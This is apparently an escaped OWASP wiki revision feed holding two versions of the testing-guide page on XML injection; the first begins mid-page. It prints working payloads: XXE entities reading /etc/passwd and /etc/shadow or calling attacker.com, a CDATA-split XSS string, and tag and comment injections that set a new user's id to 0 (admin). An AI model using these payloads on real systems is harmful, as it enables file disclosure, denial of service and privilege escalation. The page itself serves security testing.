&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. ''&amp;amp;amp;.'' is an example of an entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors, we can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36986</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36986"/>
				<updated>2008-08-23T04:34:00Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML&lt;br /&gt;
parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the XML document will no longer be well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.&lt;br /&gt;
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:&lt;br /&gt;
&lt;br /&gt;
